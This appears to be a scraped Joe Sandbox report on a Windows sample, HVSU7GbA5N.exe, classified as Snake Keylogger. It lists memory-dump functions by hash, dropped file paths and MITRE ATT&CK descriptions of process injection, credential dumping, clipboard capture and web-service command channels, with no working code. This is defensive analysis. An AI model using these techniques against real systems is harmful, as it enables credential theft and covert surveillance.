Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbfc47348cc5c4bf0828764fcbaaa179b474819662558a6610491db2fbe8a2ab
Instruction ID: fc90ad7d759920f4f4281defb714e1e239417918c4c8393c4133c7373465a62c
Opcode Fuzzy Hash: fbfc47348cc5c4bf0828764fcbaaa179b474819662558a6610491db2fbe8a2ab
Instruction Fuzzy Hash: 6D51A674E00218DFDB18DFAAD854A9DBBB2FF89300F248029E819AB364DB745D41CF54

Function 02D50CA0 Relevance: 18.0, Strings: 14, Instructions: 539COMMON

Download Yara Rule

Strings

\v", xrefs: 02D50E57
\v", xrefs: 02D50D17
\v", xrefs: 02D50DDF
\v", xrefs: 02D50D67
\v", xrefs: 02D50CC7
\v", xrefs: 02D50ECF
\v", xrefs: 02D50D8F
\v", xrefs: 02D50E7F
\v", xrefs: 02D50E07
\v", xrefs: 02D50DB7
\v", xrefs: 02D50D3F
\v", xrefs: 02D50E2F
\v", xrefs: 02D50CEF
\v", xrefs: 02D50EA7

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID: \v"$\v"$\v"$\v"$\v"$\v"$\v"$\v"$\v"$\v"$\v"$\v"$\v"$\v"
API String ID: 0-2746404657
Opcode ID: eb73a17cc6b244ca4bf0bf17ae8b3a62810b5230f5a349346d2180b5707bcb9a
Instruction ID: 7c5bc4139b8309a177ac38b8320cd6b2c0b58a69dcc52e60d90a91290050976e
Opcode Fuzzy Hash: eb73a17cc6b244ca4bf0bf17ae8b3a62810b5230f5a349346d2180b5707bcb9a
Instruction Fuzzy Hash: 69520A74A40219CFDB68DF64D984B9DB7B2FB88301F4085A9E809BB354EB745E85CF42

Function 02D562F0 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

3", xrefs: 02D562F0

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID: 3"
API String ID: 0-3837152281
Opcode ID: 872b1a4956411edbad83f0f1581fec094bdaa5faf1d255eed8e5aab2b1f29f93
Instruction ID: 1e97cc84ebee4f857ce849a441200593bcfa9283b189ab3b22ed115f7d9f50ff
Opcode Fuzzy Hash: 872b1a4956411edbad83f0f1581fec094bdaa5faf1d255eed8e5aab2b1f29f93
Instruction Fuzzy Hash: 832125317016208FEB159A69C49493EB7A6EF89751748447AEC67DB394CF30CC02DBD0

Function 02D5E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35731b18fc8285e55f99f94aeee46386b18724ba88b3116c857dedf11ee6b588
Instruction ID: 1c98e0dc2fb48ede833cd4eb42e66ad3030c8e10caa2fb53fe626d3d74a0d958
Opcode Fuzzy Hash: 35731b18fc8285e55f99f94aeee46386b18724ba88b3116c857dedf11ee6b588
Instruction Fuzzy Hash: BE129A764A13828FD6543FB0D1BD56A7B61FB1F3637886C62A90F81149DF3C04D8AA62

Function 02D55F38 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2579e15e19bac469f934b878e0b2a5ece2a817c68d0adb50aaf9973c9310e5e
Instruction ID: 021b070a8f81ad23770fdec3df56b9672d6062276256d5263182a12014c68614
Opcode Fuzzy Hash: a2579e15e19bac469f934b878e0b2a5ece2a817c68d0adb50aaf9973c9310e5e
Instruction Fuzzy Hash: 1CB1DE317042209FDF159F78C854B7A7BAAAF88310F548969E846CB395DFB9CC82D790

Function 02D56498 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d287f363b0397e3b01324f4191c93c3e81f331464f42c719a44523c01b0d227
Instruction ID: 25454b315e8956f52fd7d0ba3a939a53bd5cd0d63a8106265837398e5288bc22
Opcode Fuzzy Hash: 2d287f363b0397e3b01324f4191c93c3e81f331464f42c719a44523c01b0d227
Instruction Fuzzy Hash: B081B130B00525CFDF54DFA9C484AA9BBFAFF89614B9481A9D806E7364DB71EC41CB90

Function 02D5F71F Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81a09c655ddc378928d0cfb2ef9fd003f961c7a386914a337623e99362fc96b8
Instruction ID: cef5033415a78f5d902ddcc0665855f98c73a91fb774ff7b4b2d9ebb3e5da86c
Opcode Fuzzy Hash: 81a09c655ddc378928d0cfb2ef9fd003f961c7a386914a337623e99362fc96b8
Instruction Fuzzy Hash: B761E074D00218DFEB14DFA5C894BAEBBB2FF89300F608529D806AB394DB795985DF44

Function 02D5D548 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22abb3703a2179dd9ddeaddcfb0f0ec5b6d9176cd1b29418727e6cce44da5afb
Instruction ID: a6ba07810216894e7edc54f8281ef0089ad6cbe3fb409333dbc44cfa5cb09ce1
Opcode Fuzzy Hash: 22abb3703a2179dd9ddeaddcfb0f0ec5b6d9176cd1b29418727e6cce44da5afb
Instruction Fuzzy Hash: 30519175E01218DFDB44DFAAD58499DBBF2FF89300F208169E809AB365DB31A941CF50

Function 02D541A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35aec2b94fdad41603ea0b0eac7eb32176536318d51a9eea6a24b796bd7a05fa
Instruction ID: 21ab11fc52a6b9a8c6c9acf9f8b471a6177f96de14a97bf5567c3f77e207c683
Opcode Fuzzy Hash: 35aec2b94fdad41603ea0b0eac7eb32176536318d51a9eea6a24b796bd7a05fa
Instruction Fuzzy Hash: D9517C78E41218CFCB08DFA9D59499DBBB2FF89300B209169E805BB324DB35AC46CF51

Function 02D55658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38c062806dc922e705d594a075624d82f75832960a4ff6a67eb728e7997fffe2
Instruction ID: 0c6fce118d8875fbe0aa0f721275294a9daa0922e9138b1e794a0ad8aa70ff6b
Opcode Fuzzy Hash: 38c062806dc922e705d594a075624d82f75832960a4ff6a67eb728e7997fffe2
Instruction Fuzzy Hash: CD319531600259EFCF069F94D994AAE3BB2EB48310F408469FC1697344DB79CD61EFA1

Function 02D528F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f1eb7158c3f90d8064876a8084bbac360999bcaf934545a50998e9c6fb86171
Instruction ID: b9543aa9be04955e5343a94088f9afa6d3e004009a2ecd6dfeb7158601a1158e
Opcode Fuzzy Hash: 8f1eb7158c3f90d8064876a8084bbac360999bcaf934545a50998e9c6fb86171
Instruction Fuzzy Hash: 96218E35A001189FCF14DF78C844AAE7BB5EB9D760B108069EC19AB340DB30EE46CBE1

Function 02D2D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650120215.0000000002D2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d2d000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebab32487f47b290d11377e10a4f9ab6184510e7c4b2d43ddc3c7778118c087c
Instruction ID: c1d1547d9c2aae2c0e3c1f1689a57d139079330c13488345c5aed020ed79ccee
Opcode Fuzzy Hash: ebab32487f47b290d11377e10a4f9ab6184510e7c4b2d43ddc3c7778118c087c
Instruction Fuzzy Hash: B421F5715043049FDB14CF20DAC4B16BB62FB98318F30C569E8494B351C73AD84ACA62

Function 02D527F0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc75e0548fea3ed73991ce7b306ba808bbe69c0f02fb738a4030a4646fd3df35
Instruction ID: a4cc3be73e9a8b6e381c8c9f2c317b59bafca49477e50eac40624282a9f36718
Opcode Fuzzy Hash: dc75e0548fea3ed73991ce7b306ba808bbe69c0f02fb738a4030a4646fd3df35
Instruction Fuzzy Hash: 3E21D075D4421A8FCB04DFE9C8446EEBFF4AF1A200F50456AD855B3214EB345A95CBA1

Function 02D56300 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0061306f10ad21202c1a4a2bd4adcfdcd2ca3b607ed039dc8c1d1f0bfa5b6f92
Instruction ID: af8e32cdd67586849430afb7370791b01ef53064090e48b73763187582b56a49
Opcode Fuzzy Hash: 0061306f10ad21202c1a4a2bd4adcfdcd2ca3b607ed039dc8c1d1f0bfa5b6f92
Instruction Fuzzy Hash: DB11E5323006219FDB155A6AC45493E77AAEF857917884478EC57CB364CF70DC02DBD0

Function 02D5F650 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95b949da5660da03ddf77c0c05dde7b1bb1619ace1749dc959d47a43a0134882
Instruction ID: d496565264bf4010d0d56a63fe9b4c450d8b4199537b33fbf6532fdd491540b4
Opcode Fuzzy Hash: 95b949da5660da03ddf77c0c05dde7b1bb1619ace1749dc959d47a43a0134882
Instruction Fuzzy Hash: 8111FE70D002499FEB48EFA9D941A9EBBF2FB85300F50C5A9D058AB350EB745A45CF92

Function 02D2D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650120215.0000000002D2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d2d000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 242902e2efcaced0b479099fcdf2cd13e5894c91e3f6eac78d7f2c29c9f0fd9b
Instruction ID: 1d7ca0d9d56d4e49b1dfac04ddffc589eb157948489ae6bfee928c80c156cbc2
Opcode Fuzzy Hash: 242902e2efcaced0b479099fcdf2cd13e5894c91e3f6eac78d7f2c29c9f0fd9b
Instruction Fuzzy Hash: E4118B75504284DFCB16CF10DAC4B15BBA2FB89318F34C6A9D8494B766C33AD84ACF62

Function 02D55E98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b421e335cb11cc4de3e1f0b125616b67cfe69c98aa9ee140d3f724f23e810aea
Instruction ID: 2193036058e190db0372625bf24b3e46ae252133fcda634252af4f40d35011e5
Opcode Fuzzy Hash: b421e335cb11cc4de3e1f0b125616b67cfe69c98aa9ee140d3f724f23e810aea
Instruction Fuzzy Hash: 7001D6327041656FCB129EA868506EE3FE7DBC9250F58806AF845D7384CE798D15D7A0

Function 02D5E8E8 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4888631a8bbfab39576710e78f3116834b34cfab00c2c6cac38e5b716f20ac15
Instruction ID: cc00f8620c3675cceb3d6b058af62f5e1347e9c3895f17acdd5ac0625d825dd0
Opcode Fuzzy Hash: 4888631a8bbfab39576710e78f3116834b34cfab00c2c6cac38e5b716f20ac15
Instruction Fuzzy Hash: 63118B74E4424ADFDB01EFA8C8419EEBBB1EB4A300F008465E910B3350E7795A55DF92

Function 02D528B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 428bac265608ddda812281ae623388a14a81691149d33f22ec87ff3dc3ac8f0d
Instruction ID: c8304c53151226d54f0c9d3a3f5e6c8c03e030300ef8879c3aee508963828839
Opcode Fuzzy Hash: 428bac265608ddda812281ae623388a14a81691149d33f22ec87ff3dc3ac8f0d
Instruction Fuzzy Hash: 3BD05B31D2022A57CB00E7A5DC044DFFB38EFD6721B514666D55437140FB702659C6F1

Function 02D56748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ec80b1a2a418c14839cb9fa9f7d39bec61bf5d8d678a3e6b294cab7719779f4
Instruction ID: e2edfe924020ec8af54e8e4f463694fec5d21ff9f06a820bfb5f4fb306aacc49
Opcode Fuzzy Hash: 3ec80b1a2a418c14839cb9fa9f7d39bec61bf5d8d678a3e6b294cab7719779f4
Instruction Fuzzy Hash: 87C012311443084BD645FFA5DC85915333EF6C0910F408D70A0071964DEF7C98C55B92

Non-executed Functions

Function 02D5F2C0 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2650283274.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d50000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d870f78b6533f10b4b29e8890b8a59b4f9d197c6858d3f9dc431ef28a514d1a
Instruction ID: 422ffbb69317dacafbd8663a4c23ca3527103ba6f46f204b801d3fedfbef2fc6
Opcode Fuzzy Hash: 6d870f78b6533f10b4b29e8890b8a59b4f9d197c6858d3f9dc431ef28a514d1a
Instruction Fuzzy Hash: A851E270D01228CFEB14EFA9C4447ADB7B2FB8A304F548129D804BB694DBB99D85CF64

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report HVSU7GbA5N.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\HVSU7GbA5N.exe

C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\HVSU7GbA5N.exe:Zone.Identifier

C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Quayages.non

C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte

C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\revisualized.pin

C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\skrivestuer.lol

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0u4p2prp.bul.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bdzwou23.yex.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cliyi2rs.r4x.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ibtoah3e.eoi.ps1

Static File Info

General

Windows Analysis Report
HVSU7GbA5N.exe

Function 004030B6 Relevance: 79.1, APIs: 27, Strings: 18, Instructions: 337
stringfilecomCOMMON

Function 00404FE4 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Function 00405BDF Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 199
stringCOMMON

Function 00406197 Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Function 004039A0 Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345
windowstringCOMMON

Function 0040360E Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Function 00402C29 Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 182
COMMON

Function 0040173F Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 147
stringtimeCOMMON

Function 00404EA6 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Function 00402E62 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Function 00401F68 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73
libraryloaderCOMMON

Function 0040231C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

